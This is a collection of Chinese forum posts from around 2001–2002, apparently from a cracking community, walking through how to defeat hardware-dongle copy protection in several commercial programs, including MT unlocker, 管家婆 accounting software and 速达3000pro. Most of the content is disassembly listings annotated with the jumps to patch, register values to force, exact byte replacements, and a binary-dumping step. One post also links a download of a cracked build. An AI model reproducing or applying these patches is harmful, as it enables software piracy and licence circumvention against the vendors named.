* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00406C76(U)
|
:00406C7D 8D8EDC010000 lea ecx, dword ptr [esi+000001DC]

下BPM 557FBC跟踪，

:00409C76 E825010000 call 00409DA0
:00409C7B E890AC0000 call 00414910
:00409C80 8B0D404C4500 mov ecx, dword ptr [00454C40] //由地址454C40送入。

* Reference To: KERNEL32.CreateThread, Ord:004Ah
|
:00409C86 8B2D54F24300 mov ebp, dword ptr [0043F254]
:00409C8C 8D542414 lea edx, dword ptr [esp+14]
:00409C90 89442410 mov dword ptr [esp+10], eax
:00409C94 52 push edx
:00409C95 6A00 push 00000000
:00409C97 56 push esi
:00409C98 6850514100 push 00415150
:00409C9D 6A00 push 00000000
:00409C9F 6A00 push 00000000
:00409CA1 890DBC7F5500 mov dword ptr [00557FBC], ecx //此处置557FBC的值，向上看这个值是哪来的。
:00409CA7 FFD5 call ebp
:00409CA9 8BF8 mov edi, eax

下BPM 454C40重新跟踪，

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00409AE1(C)
|
:00409AFC E82FFBFFFF call 00409630 //此CALL是关键，跟入
:00409B01 F7D8 neg eax
:00409B03 1BC0 sbb eax, eax
:00409B05 40 inc eax
:00409B06 A3404C4500 mov dword ptr [00454C40], eax //此处送入
:00409B0B 0F8587000000 jne 00409B98
:00409B11 E8BAB60000 call 004151D0
:00409B16 85C0 test eax, eax
:00409B18 A3404C4500 mov dword ptr [00454C40], eax
:00409B1D 7579 jne 00409B98
:00409B1F 50 push eax

》》》

* Referenced by a CALL at Address:
|:00409AFC
|
:00409630 83EC48 sub esp, 00000048
:00409633 B90A000000 mov ecx, 0000000A
:00409638 33C0 xor eax, eax
:0040963A 66C705BA7F55000000 mov word ptr [00557FBA], 0000
:00409643 56 push esi
:00409644 57 push edi
:00409645 BFC07F5500 mov edi, 00557FC0
:0040964A F3 repz
:0040964B AB stosd
:0040964C AA stosb
:0040964D B911000000 mov ecx, 00000011
:00409652 33C0 xor eax, eax
:00409654 8D7C240C lea edi, dword ptr [esp+0C]
:00409658 F3 repz
:00409659 AB stosd
:0040965A 8D442414 lea eax, dword ptr [esp+14]

* Possible StringData Ref from Data Obj ->"LAN-SENTRY"
|
:0040965E BF14E84400 mov edi, 0044E814
:00409663 A3B47F5500 mov dword ptr [00557FB4], eax
:00409668 83C9FF or ecx, FFFFFFFF
:0040966B 33C0 xor eax, eax
:0040966D F2 repnz
:0040966E AE scasb
:0040966F F7D1 not ecx
:00409671 49 dec ecx
:00409672 66890DB87F5500 mov word ptr [00557FB8], cx
:00409679 E86E040100 call 00419AEC
:0040967E 85C0 test eax, eax
:00409680 740B je 0040968D //此处不跳
:00409682 5F pop edi
:00409683 B801000000 mov eax, 00000001 //EAX被送入1，所以将其改为mov eax, 00000000
:00409688 5E pop esi
:00409689 83C448 add esp, 00000048
:0040968C C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00409680(C)
|
:0040968D 53 push ebx

* Possible StringData Ref from Data Obj ->"LAN-SENTRY"
|
:0040968E BE14E84400 mov esi, 0044E814
:00409693 8D442418 lea eax, dword ptr [esp+18]

》》》 》》》

并没完，经过上面的修改后，开始运行前的NAG没有了，但打开欲设置时软件就没了响应。

用BPM 454C40、BPM 557FBC跟踪，到下面

:0040A53D FFD7 call edi
:0040A53F A1BC7F5500 mov eax, dword ptr [00557FBC]
:0040A544 85C0 test eax, eax //这句改成JNE 0040A570
:0040A546 7428 je 0040A570 //发现此处若不跳就死住了
:0040A548 BFC07F5500 mov edi, 00557FC0
:0040A54D 83C9FF or ecx, FFFFFFFF
:0040A550 33C0 xor eax, eax
:0040A552 F2 repnz

》》》 》》》

跟踪时可发现00557FBC地址还用来判断是否到一小时后退出。

相关地址：4063DA、405B00、406431。


MT unlocker

 标 题:Hardlock加密狗破解过程-----外壳型加密狗的破解方法 (7千字)
发信人:crackjack
时 间:2001-10-15 18:52:44
详细信息:
MT unlocker 是一个手机解锁软件，它的加密方式是用hardlock加密狗加密，这种加密狗是一种外壳型加密狗，和HASP很相象。

小弟没有接触过外壳的狗，所以破解时用最原始的方法：跟踪。

工具： TRW2000

我们先安装好程序和狗驱动程序，然后运行TRW，选择TRW菜单中的“TRnewTCB”功能，然后运行程序，中断后就会显示程序的入

口：

016F：008E240 PUSH EBP <=====中断在这里
016F:008E0241 MOV EBP,ESP
016F:008E0243 PUSH EBX
016F:008E0244 PUSH ESI
016F:008E0245 PUSH EDI
016F:008E0246 PUSHA
016F:008E0247 MOV EAX,ESP
016F:008E0249 MOV [008E04C4],EAX
016F:008E024E MOV EAX,008E04E0
016F:008E0253 SUB EAX,[008E0500]
016F:008E0259 MOV [008E0500],EAX
016F:008E025E CMP DWORD [008E04C0],BYTE +00
016F:008E0265 JZ NEAR 008E027F
016F:008E026B MOV EAX,[008E04C4]
016F:008E0270 PUSH EAX

然后一直按F10，直到下面：

016F:008E0301 MOV EDI,[008E04E8]
016F:008E0307 MOV ECX,06
016F:008E030C REP MOVSD
016F:008E030E MOV EAX,[008E04C4]
016F:008E0313 PUSH EAX
016F:008E0314 CALL NEAR [008E04C0] <=====F8进入,以后凡是遇到象这样的CALL都要按F8进入
016F:008E031A ADD ESP,BYTE +04

进入后继续按F10,在中间会进入hardlook的狗驱动程序内,它的进入方式很特殊,至今我都不明白它是怎么进入的,就象是我们运

行程序出错时会被TRW中断一样,在TRW的命令栏中会出现"Break Due On Fault 03

FaultCode=A000"的字样,我们不管它,只管按F10和F12返回到主程序中,如下:

016F:008F611E MOV EAX,[EBP-50]
016F:008F6121 PUSH EAX
016F:008F6122 CALL NEAR [EBP-54]
016F:008F6125 TEST EAX,EAX <=====返回到这里
016F:008F6127 JNZ NEAR 008F6140
016F:008F612D MOV EAX,[EBP-50]

然后就是一直F10了,这个过程是解压缩判断狗的代码,为了加快追踪,当遇到象下面的代码时,将光标直接移到JNA指令所指向的地

址,然后按F7键,在以后的地方有很多类似这样的指令,你一样可以按这种方法跳过它:

016F:008F61F1 ADD DWORD [EBP-5C],BYTE +02
016F:008F61F5 ADD DWORD [EBP-64],BYTE +02
016F:008F61F9 MOV EAX,[EBP-68]
016F:008F61FC MOV ECX,[EBP-5C]
016F:008F61FF CMP [EAX+04],ECX <======
016F:008F6202 JNA NEAR 008F626B <======注意这条指令
016F:008F6208 MOV EAX,[EBP-64]
016F:008F620B XOR ECX,ECX
016F:008F620D MOV CX,[EAX]
016F:008F6210 AND ECX,F000
016F:008F6216 MOV [EBP+FFFFFF70],ECX

GO,GO,GO....GO TO:

6F:008F64B3 MOV EAX,`DOSMGR_BackFill_Allowed`
016F:008F64B9 MOV EAX,[EAX]
016F:008F64BB MOV `DOSMGR_BackFill_Allowed`,EAX
016F:008F64C1 MOV EAX,[EBP+08]
016F:008F64C4 PUSH EAX
016F:008F64C5 CALL NEAR [008F67CC] <=====F8进入
016F:008F64CB ADD ESP,BYTE +04
016F:008F64CE JMP 008F64D3
016F:008F64D3 MOV ECX,[EBP-10]
016F:008F64D6 MOV `DOSMGR_BackFill_Allowed`,ECX

进入CALL后会第二次进入到狗驱动程序,按上面的方法返回到主程序:

016F:008F8411 PUSH EAX
016F:008F8412 CALL NEAR [EBP-54]
016F:008F8415 TEST EAX,EAX <=====返回到这里
016F:008F8417 JNZ NEAR 008F8430
016F:008F841D MOV EAX,[EBP-50]
016F:008F8420 PUSH EAX
016F:008F8421 CALL NEAR [EBP-58]
016F:008F8424 MOV DWORD [EBP-28],08

一直按F10,到下面的地方:

016F:008F87A3 MOV EAX,`DOSMGR_BackFill_Allowed`
016F:008F87A9 MOV EAX,[EAX]
016F:008F87AB MOV `DOSMGR_BackFill_Allowed`,EAX
016F:008F87B1 MOV EAX,[EBP+08]
016F:008F87B4 PUSH EAX
016F:008F87B5 CALL NEAR [008F8ABC] <=====F8进入
016F:008F87BB ADD ESP,BYTE +04

进入后按一阵F10,就到了判断加密狗的地方了:

016F:008E5A67 MOV EDI,[008EFA68]
016F:008E5A6D MOV ECX,06
016F:008E5A72 REP MOVSD
016F:008E5A74 MOV EAX,[EBP+08]
016F:008E5A77 PUSH EAX
016F:008E5A78 CALL NEAR [008EFA10]
016F:008E5A7E ADD ESP,BYTE +04
016F:008E5A81 JMP 008E5B7F
016F:008E5A86 CALL 008E5EC8

<=====注意这个CALL,这个就是检测加密狗的CALL,当没有找到狗时,EAX就会返回6,怎样判断它是检测狗的CALL呢?我的经验是,如

果一个CALL很明显的比其它的CALL花费的时间要多,那么这个CALL九成是读狗的CALL,在我破解的狗中,几乎是所有读狗的CALL都

会花比较多的时间,大概是1-3秒吧,所以这个可以做为判断读狗的一个依据
016F:008E5A8B MOV [008EFA28],EAX <=====运行到这里后,用R指令修改EAX的数值,将EAX改为0,改完后你按F5后,你发

现程序已经能够正常运行了,但我们的目标是要脱掉狗保护,所以就继续F10了
016F:008E5A90 CMP DWORD [008EFA28],BYTE +00
016F:008E5A97 JZ NEAR 008E5AD6
016F:008E5A9D MOV EAX,[008EFA14]
016F:008E5AA2 PUSH EAX
016F:008E5AA3 MOV EAX,[008EFA28]

继续按F10,在这个过程中就是主程序的解压缩了,中间有三个CALL要F8进去的,同样可以用上来所说的加快跟踪的方法来跟踪下去

,当出现下面的指令时,解压缩就基本上完成了:

016F:008FE97D MOV [009006B0],EAX
016F:008FE982 PUSH DWORD 009005A4
016F:008FE987 MOV EAX,[00900498]
016F:008FE98C PUSH EAX
016F:008FE98D CALL `KERNEL32!GetProcAddress` <=====当出现这些指令时,就要放慢跟踪的速度了
016F:008FE993 MOV [009006C0],EAX
016F:008FE998 PUSH DWORD 009005B8
016F:008FE99D MOV EAX,[00900498]
016F:008FE9A2 PUSH EAX
016F:008FE9A3 CALL `KERNEL32!GetProcAddress` <=====
016F:008FE9A9 MOV [009006BC],EAX
016F:008FE9AE PUSH DWORD 009005CC
016F:008FE9B3 MOV EAX,[00900498]
016F:008FE9B8 PUSH EAX
016F:008FE9B9 CALL `KERNEL32!GetProcAddress` <=====

注意下面的代码,这些代码我估计是反跟踪的,因为我跟踪下去的时候,程序就会出现一个警告对话框,说程序是不能运行在调试状

态下的,我没有办法去掉它,因为我的跟踪技术还不是很好,哪位高手来帮我补充怎么样去掉这些反跟踪代码,在这里我先谢谢了.

代码如下:

16F:008FEBDF JMP 008FEC88
016F:008FEBE4 CMP DWORD [009004BC],BYTE +00
016F:008FEBEB JZ NEAR 008FEC64
016F:008FEBF1 CMP DWORD [009004C8],BYTE +00
016F:008FEBF8 JNZ NEAR 008FEC64
016F:008FEBFE PUSH DWORD 008FF9C2
016F:008FEC03 MOV EAX,[009004BC]
016F:008FEC08 PUSH EAX
016F:008FEC09 PUSH BYTE +00
016F:008FEC0B PUSH BYTE +00
016F:008FEC0D CALL `USER32!SetTimer` <====设置系统定时器,如果程序在跟踪状态,程序就会退出
016F:008FEC13 MOV [00900520],EAX
016F:008FEC18 CMP DWORD [00900520],BYTE +00
016F:008FEC1F JNZ NEAR 008FEC64
016F:008FEC25 MOV DWORD [009004A8],03

我们不管它了,继续F10,中间有两个CALL要F8进入,进入后按F10直到出现下面的代码:

016F:008E1FF3 JMP 008E2003
016F:008E1FF8 POP EDI <=====光标停在这里
016F:008E1FF9 POP ESI
016F:008E1FFA POP EBX
016F:008E1FFB POP EBP
016F:008E1FFC PUSH DWORD [008E2050]
016F:008E2002 RET
016F:008E2003 POP EDI
016F:008E2004 POP ESI
016F:008E2005 POP EBX
016F:008E2006 LEAVE
016F:008E2007 RET 0C
016F:008E200A ADD [EAX],AL
016F:008E200C ADD [EAX],AL
016F:008E200E ADD [EAX],AL

在地址016F:008E1FF8处停下来,我们已经可以DUMP出文件了,下指令 PEDUMP d:\temp\crack.exe,至此,我们已经破掉hardlook的

外壳狗了,但是由于我没有学过脱壳,所以脱出来的文件竟然有4M(脱壳前只有1M多一点),而且我不知道怎么样修正Import表,让程

序能在win2000下运行,不知哪位大虾对脱壳很有经验的话,能否指点小弟一两招呢,小弟感激涕零.

通过我们对这个程序的破解,我们应该清楚,在破解外壳型的加密狗时,关键在于你是否有耐心,还要有一双明亮的眼睛,外壳狗并

不可怕.同时也再次证明,无论是怎么好的狗,如果开发商不好好利用的话,结果是整个加密方案以失败告终.


VB程序＋狗

 标 题:帖一个类似的 (5千字)
发信人:a.out
时 间:2001-10-25 17:10:16
详细信息:
我用两种方式达到解狗的目的
1）修改程序中的关键的用于判断的立即数，以及通过修改指针替换某些关键变量，最终满足判断条件（无论用什么手段，达到目的就得了呗）。
2）修改狗的驱动DLL，这种方法大众化一些。

================== hasp dll and its API inferface ===========
' Module2
Option Explicit
Declare Sub extsub258 Lib "haspmsw3.dll" Alias "hasp" (ByVal p1%, ByVal p2%, ByVal p3%, ByVal p4%, ByVal p5%, p6%, p7%, p8%, p9%)
Declare Function extfn290 Lib "haspmsw3.dll" Alias "HASPOFF" () As Integer
Declare Function extfn2C8 Lib "haspmsw3.dll" Alias "HASPSEG" () As Integer

Sub sub300 ()
gv0274 = gc025C
Call extsub258(gv0274, gv0276, gv0278, gv027A, gv027C, gv027E%, gv0280%, gv0282%, gv0284%)
End Sub

Function fn338 () As Integer
gv0274 = gc025A
Call extsub258(gv0274, gv0276, gv0278, gv027A, gv027C, gv027E%, gv0280%, gv0282%, gv0284%)
fn338 = gv027E%
End Function

Function fn370 () As Integer
If fn338() = 0 Then
gv0252 = MsgBox("Illegal Installation" & gv024E & "Contact Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
fn370 = 0
Exit Function
End If
gv0276 = 1
Call sub300
If gv027E <> -6693 Or gv0280 <> 32541 Or gv0282 <> -6787 Or gv0284 <> 1918 Then
gv0252 = MsgBox("Cannot Take Photo!" & gv024E & "Invalid Protection Key" & gv024E & "Contact Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
fn370 = 0
Exit Function
Else
gv0274 = gc025E
gv027E% = 1
gv0280% = -1
Call extsub258(gv0274, gv0276, gv0278, gv027A, gv027C, gv027E%, gv0280%, gv0282%, gv0284%)
If gv0282% <> 0 Then
gv0252 = MsgBox("Cannot Take Photo!" & gv024E & "Credit Read Error" & gv024E & "Contact Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
fn370 = 0
Else
If gv0280% = 0 Then
gv0252 = MsgBox("Cannot Take Photo!" & gv024E & "Purchase Credit from Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
fn370 = 0
Else
gv0254 = gv0280%
fn370 = 1
End If
End If
End If
End Function

Sub sub3A8 ()
If fn338() = 0 Then
gv0252 = MsgBox("Illegal Installation" & gv024E & "Contact Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
gv0258 = 0
Exit Sub
End If
gv0276 = 2
Call sub300
If gv027E <> -1712 Or gv0280 <> 30983 Or gv0282 <> 18370 Or gv0284 <> 388 Then
gv0252 = MsgBox("Invalid Protection Key" & gv024E & "Contact Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
gv0258 = 0
Exit Sub
Else
gv0274 = gc0260
gv027E% = 1
gv0280% = gv0254
Call extsub258(gv0274, gv0276, gv0278, gv027A, gv027C, gv027E%, gv0280%, gv0282%, gv0284%)
If gv0282% <> 0 Then
gv0252 = MsgBox("Credit Write Error" & gv024E & "Contact Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
gv0258 = 0
Else
gv0258 = 1
End If
End If
End Sub

======================= Application =======================
' MCISTART.FRM
Option Explicit
Dim m001A As String
Dim m001E
Dim m0020 As String
Dim m0024 As String
Dim m0028 As String
Dim m002C As String
Dim m0030 As String
Dim m0034 As Integer
Dim m0036 As Integer
Dim m0038 As Integer
Dim m003A As Integer
Dim m003C As Integer
Dim m0040 As String * 1
Dim m0044 As String * 1
Dim m0048 As String * 2
Dim m004C As String * 1
Const c00BC = 2 ' &H2%
Const c00CC = 1 ' &H1%
Const c00DC = 1 ' &H1%
Const c00DE = 1 ' &H1%
Const m00E2 = 0 ' &H0%
Const m00E4 = 0 ' &H0%

Sub Com_event0000 ()
....
If gv0256 = 1 Then ; 改0000359e, e8 -> ea
gv0258 = gv0254 - 1 ; 原来是gv0254 = gv0254 - 1
Call sub3A8 ; 如果再改3596, e8-> ea
If gv0258 = 1 Then ; 则指令为gv0258 = gv0258 - 1
For m001E = 1 To 5000
DoEvents ; 如果改 e8 -> ec
Next m001E ; 则为 gv0252 = gv0254 - 1
InfSys.Recordset.Edit
If Val(SerialNext.Text) = 9999 Then
SerialNext.Text = "1"
Else
SerialNext.Text = Str$(Val(SerialNext.Text) + 1)
End If
InfSys.Recordset.Fields("NextSerial") = Val(SerialNext.Text)
InfSys.Recordset.Update
Else
Kill "C:\INFSYS\UPLOAD\J" + m0048 + Format$(SerialNext.Text, "0000") + "A.JPG"
Kill "C:\INFSYS\UPLOAD\J" + m0048 + Format$(SerialNext.Text, "0000") + "B.JPG"
gv0252 = MsgBox("Error Saving Photo" & gv024E & "Contact Smart Vision (Asia) Ltd" & gv024E & "Tel: 23143193", 16, "Happy Baby 2.0")
End If
....
End Sub
=============================================================


管家婆8.2单机

 标 题:管家婆8.2单机版加密狗破解过程 (3千字)
发信人:crackjack
时 间:2001-10-13 13:16:18
详细信息:
小弟两天不吃狗肉，心里发慌得要命，正好有个朋友叫我破解管家婆，所以就下载了管家婆8.2单机版，看一下它的保护方式，

呵呵，谁知它的保护很简单的。

工具： TRW2000
W32dasm 8.93 黄金版
Hview

这个软件是用aspack 2.11加壳的，网上有很多的软件可以去掉壳，我假定你已经脱掉它的壳了。好，我们用w32dasm反汇编脱壳

后的软件，在串式参考查找出错的信息，如下：

:005C121C 8B00 mov eax, dword ptr [eax]
:005C121E E885ECE8FF call 0044FEA8
:005C1223 E83C4F0000 call 005C6164 <======注意了，这是关键的CALL
:005C1228 85C0 test eax, eax
:005C122A 743C je 005C1268 <======没有狗就不跳
:005C122C 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"stop"
|
:005C122E 68B0175C00 push 005C17B0
:005C1233 8D45D4 lea eax, dword ptr [ebp-2C]
:005C1236 50 push eax

* Possible StringData Ref from Code Obj ->"myok"
|
:005C1237 B9C0175C00 mov ecx, 005C17C0

* Possible StringData Ref from Code Obj ->"系统在打印口没有找到软件狗，请再试！" <=====出错信息
|
:005C123C BAD0175C00 mov edx, 005C17D0

* Possible StringData Ref from Code Obj ->"警告"

好了，我们找到出错的地方了，往上看看什么地方可以跳过去，地址005C1223是一个关键的CALL，我们把代码修改一下：

test eax,eax改为xor eax,eax
je 005C1268改为jmps 005C1268

同时在串式参考中还有下面的出错信息，我估计是软件检查使用日期的，不管了，我改，我改，我改改改。。。

* Possible StringData Ref from Code Obj ->"yyyy-mm-dd"
|
:005C653C B8DC655C00 mov eax, 005C65DC
:005C6541 E81E59E4FF call 0040BE64 <=====关键CALL
:005C6546 85DB test ebx, ebx <=====改为xor eax,eax
:005C6548 750D jne 005C6557 <=====没有狗就跳
:005C654A A1C0045D00 mov eax, dword ptr [005D04C0]
:005C654F 8138FF3710ED cmp dword ptr [eax], ED1037FF
:005C6555 7427 je 005C657E <=====改为jmps 005C657E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005C6548(C)
|
:005C6557 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"stop"
|
:005C6559 68F0655C00 push 005C65F0
:005C655E 8D45B8 lea eax, dword ptr [ebp-48]
:005C6561 50 push eax

* Possible StringData Ref from Code Obj ->"myok"
|
:005C6562 B900665C00 mov ecx, 005C6600

* Possible StringData Ref from Code Obj ->"系统没有检测到软件狗, 请关机后插上软件狗再试!"
|
:005C6567 BA10665C00 mov edx, 005C6610

* Possible StringData Ref from Code Obj ->"错误"

由于小弟没有SQL SERVER 7.0，所以没有办法测试软件还有什么限制，哪位朋友可以帮我测试一下，小弟感激不尽。同时小弟也

分析过网络版，加密方式是和单机版是一样的。破解软件的下载地址：http://home.dqt.com.cn/~jackey77/graspndj.rar
需要的朋友可以下载。


管家婆辉煌网络版8.0A

 标 题:破解管家婆辉煌网络版8.0A客户端的加密狗 (6千字)
发信人:大波罗
时 间:2001-10-5 1:08:32
详细信息:
破解管家婆辉煌网络版8.0A客户端的加密狗

应一个朋友的要求破解管家婆辉煌网络版8.0A客户端的狗，我试了一下，终于被我找到要害：
.
.
这里是一段万里长征！
.
.
.
0167:005863E6 8BF0 MOV ESI,EAX _
0167:005863E8 A150295900 MOV EAX,[00592950] _
0167:005863ED 8B00 MOV EAX,[EAX]
0167:005863EF 33D2 XOR EDX,EDX
0167:005863F1 E8865EECFF CALL 0044C27C
0167:005863F6 A150295900 MOV EAX,[00592950]
0167:005863FB 8B00 MOV EAX,[EAX]
0167:005863FD E8D283ECFF CALL 0044E7D4
0167:00586402 85F6 TEST ESI,ESI
0167:00586404 0F84F7000000 JZ 00586501 <---关键跳转，终于让我找到了！
0167:0058640A C7831406000002000000MOV DWORD PTR [EBX+00000614],00000002
0167:00586414 81FEBFAD0100 CMP ESI,0001ADBF
0167:0058641A 7D12 JGE 0058642E <---这里跳
0167:0058641C 81EEB3AD0100 SUB ESI,0001ADB3
0167:00586422 7424 JZ 00586448 <---这里不跳
0167:00586424 83EE05 SUB ESI,05
0167:00586427 7443 JZ 0058646C <---这里不跳
0167:00586429 E9A1000000 JMP 005864CF
0167:0058642E 81C64152FEFF ADD ESI,FFFE5241
0167:00586434 83EE02 SUB ESI,02
0167:00586437 7254 JB 0058648D <---这里不跳
0167:00586439 83EE02 SUB ESI,02
0167:0058643C 7470 JZ 005864AE <---这里不跳
0167:0058643E 83EE23 SUB ESI,23
0167:00586441 746B JZ 005864AE <---这里不跳
0167:00586443 E987000000 JMP 005864CF <---跳到出错！
0167:00586448 6A00 PUSH 00
0167:0058644A 6868685800 PUSH 00586868
0167:0058644F 8D45DC LEA EAX,[EBP-24]
0167:00586452 50 PUSH EAX
==================================================================================
0167:005864CD EB1F JMP 005864EE
0167:005864CF 6A00 PUSH 00 <---出错就跳到这里
0167:005864D1 6868685800 PUSH 00586868
0167:005864D6 8D45CC LEA EAX,[EBP-34]
0167:005864D9 50 PUSH EAX
0167:005864DA B978685800 MOV ECX,00586878
0167:005864DF BA54695800 MOV EDX,00586954
0167:005864E4 B8B8685800 MOV EAX,005868B8
0167:005864E9 E8DAE6EEFF CALL 00474BC8 <-----没有发现狗！
0167:005864EE C605D83E590001 MOV BYTE PTR [00593ED8],01
0167:005864F5 8BC3 MOV EAX,EBX
0167:005864F7 E8D882ECFF CALL 0044E7D4
0167:005864FC E9C1020000 JMP 005867C2
0167:00586501 A1E02C5900 MOV EAX,[00592CE0]
0167:00586506 33D2 XOR EDX,EDX
0167:00586508 8910 MOV [EAX],EDX
0167:0058650A A188275900 MOV EAX,[00592788]
0167:0058650F 8B1590295900 MOV EDX,[00592990]
0167:00586515 8902 MOV [EDX],EAX
0167:00586517 A1AC2D5900 MOV EAX,[00592DAC]
0167:0058651C 33D2 XOR EDX,EDX
0167:0058651E 8910 MOV [EAX],EDX
0167:00586520 A1DC2D5900 MOV EAX,[00592DDC]
0167:00586525 C70001000000 MOV DWORD PTR [EAX],00000001
0167:0058652B 8D45FB LEA EAX,[EBP-05]
0167:0058652E 8B15D82D5900 MOV EDX,[00592DD8]
0167:00586534 8902 MOV [EDX],EAX
0167:00586536 E8015D0000 CALL 0058C23C
0167:0058653B 8A45FB MOV AL,[EBP-05]

用HIEW找： 0f 84 f7 00 00 00 c7 83 14
改为： e9 f8 00 00 00 90 c7 83 14

搞定！

加密狗的弱点就在软件本身，高手说的不错。

大波罗破解
转载请保持完整，谢谢！
http://wdfdiablo.myetang.com
2001.10.4


速达3000pro网络版

 标 题:青岛阿牛解狗教程之一（速达3000pro网络版） (11千字)
发信人:nzg
时 间:2002-2-7 13:00:24
详细信息:

青岛阿牛解狗教程之一（速达3000pro网络版）

目的：打破加密狗加密的软件神秘感----你也可以解狗（包括一些航母级软件）

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004238B5(C)
|
* Reference To: sdproserver.Dogtestpro10::_ManCheckDlg10(void())
````````````````````````````````````````````（太典型的检测狗的调用呀！）

:004238E4 E8A76CFEFF call 0040A590
:004238E9 84C0 test al, al
:004238EB 7417 je 00423904 //***简单的讲，这里跳过去，速达3000pro网络端程序就可以运行了（当然还有一处，实在更改帐套的时候要调用，如果你修改call 0040a590的内部流程，使得al不等于零的话就省事情的很！不然的话两处你都得改！！）

* Reference To: sdproserver.Dogtestpro10::_GetDlgNumber10(void())
|```````````````````````````````````````（此处为检查软件狗内部允许的用户数量）

:004238ED E81A70FEFF call 0040A90C //***此处是调用读狗程序，也可以深入下去进行修改使eax得值是你需要的数量！！）

:004238F2 A3F4594A00 mov dword ptr [004A59F4], eax
:004238F7 8B45CC mov eax, dword ptr [ebp-34] //此处修改eax得值，就可以随心所欲的大道修改客户数量的目的，当然还有一处，同样的办法处理）
:004238FA E851050000 call 00423E50
:004238FF E99E000000 jmp 004239A2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004238EB(C)
|
:00423904 66C745E00800 mov [ebp-20], 0008
:0042390A 8D45FC lea eax, dword ptr [ebp-04]
:0042390D E846BFFEFF call 0040F858
:00423912 8BC8 mov ecx, eax
:00423914 FF45EC inc [ebp-14]
:00423917 BAE8594A00 mov edx, 004A59E8

* Possible StringData Ref from Data Obj ->"没有检测到"
|
:0042391C B82F7B4A00 mov eax, 004A7B2F
:00423921 E8027F0700 call 0049B828
:00423926 8D55FC lea edx, dword ptr [ebp-04]
:00423929 52 push edx
:0042392A 8D45F4 lea eax, dword ptr [ebp-0C]
:0042392D E826BFFEFF call 0040F858
:00423932 50 push eax
:00423933 FF45EC inc [ebp-14]

* Possible StringData Ref from Data Obj ->"网络版使用的软件狗！"
|
:00423936 BA3A7B4A00 mov edx, 004A7B3A
:0042393B 8D45F8 lea eax, dword ptr [ebp-08]
:0042393E E8117A0700 call 0049B354
:00423943 FF45EC inc [ebp-14]
:00423946 8D55F8 lea edx, dword ptr [ebp-08]
:00423949 59 pop ecx
:0042394A 58 pop eax
:0042394B E8BC7B0700 call 0049B50C
:00423950 8D55F4 lea edx, dword ptr [ebp-0C]
:00423953 FF32 push dword ptr [edx]
:00423955 E84290FFFF call 0041C99C
:0042395A 59 pop ecx
:0042395B FF4DEC dec [ebp-14]
:0042395E 8D45F4 lea eax, dword ptr [ebp-0C]
:00423961 BA02000000 mov edx, 00000002
:00423966 E8497B0700 call 0049B4B4
:0042396B FF4DEC dec [ebp-14]
:0042396E 8D45F8 lea eax, dword ptr [ebp-08]
:00423971 BA02000000 mov edx, 00000002
:00423976 E8397B0700 call 0049B4B4
:0042397B FF4DEC dec [ebp-14]
:0042397E 8D45FC lea eax, dword ptr [ebp-04]
:00423981 BA02000000 mov edx, 00000002
:00423986 E8297B0700 call 0049B4B4

```````````````````````````````````````````````````
* Referenced by a CALL at Addresses:
|:004238E4 , :00423A16 , :00423C67
|

Exported fn(): Dogtestpro10::_ManCheckDlg10(void()) - Ord:000Dh
:0040A590 55 push ebp
:0040A591 8BEC mov ebp, esp
:0040A593 83C4E4 add esp, FFFFFFE4
:0040A596 33C0 xor eax, eax
:0040A598 8945E4 mov dword ptr [ebp-1C], eax
:0040A59B 8945E8 mov dword ptr [ebp-18], eax
:0040A59E 8945F0 mov dword ptr [ebp-10], eax
:0040A5A1 33C0 xor eax, eax
:0040A5A3 55 push ebp
:0040A5A4 6877A64000 push 0040A677
:0040A5A9 64FF30 push dword ptr fs:[eax]
:0040A5AC 648920 mov dword ptr fs:[eax], esp
:0040A5AF C645FF00 mov [ebp-01], 00
* Reference To: sdproserver.Dogtestpro10::InitValue(void())
|
:0040A5B3 E87CFFFFFF call 0040A534
* Reference To: sdproserver.Dogtestpro10::DIS(void())
|
:0040A5B8 E89F020000 call 0040A85C
:0040A5BD 8945F4 mov dword ptr [ebp-0C], eax
:0040A5C0 837DF40B cmp dword ptr [ebp-0C], 0000000B
:0040A5C4 7409 je 0040A5CF
:0040A5C6 817DF415270000 cmp dword ptr [ebp-0C], 00002715
:0040A5CD 7506 jne 0040A5D5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A5C4(C)
|
:0040A5CF C645FF00 mov [ebp-01], 00
:0040A5D3 EB7F jmp 0040A654

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A5CD(C)
|
:0040A5D5 837DF400 cmp dword ptr [ebp-0C], 00000000
:0040A5D9 7575 jne 0040A650
:0040A5DB C745F801000000 mov [ebp-08], 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A631(C)
|
:0040A5E2 8B45F8 mov eax, dword ptr [ebp-08]
:0040A5E5 B90A000000 mov ecx, 0000000A
:0040A5EA 99 cdq
:0040A5EB F7F9 idiv ecx
:0040A5ED 83FA07 cmp edx, 00000007
:0040A5F0 7538 jne 0040A62A
:0040A5F2 B8FF000000 mov eax, 000000FF
:0040A5F7 99 cdq
:0040A5F8 F77DF8 idiv [ebp-08]
:0040A5FB 52 push edx
:0040A5FC 8B45F8 mov eax, dword ptr [ebp-08]
:0040A5FF 8A90FBDE4B00 mov dl, byte ptr [eax+004BDEFB]
:0040A605 80F2FF xor dl, FF
:0040A608 81E2FF000000 and edx, 000000FF
:0040A60E 58 pop eax
:0040A60F 2BD0 sub edx, eax
:0040A611 81F2FF000000 xor edx, 000000FF
:0040A617 8D45E8 lea eax, dword ptr [ebp-18]

* Reference To: VCL50.System::::LStrFromChar(()), Ord:0000h
|
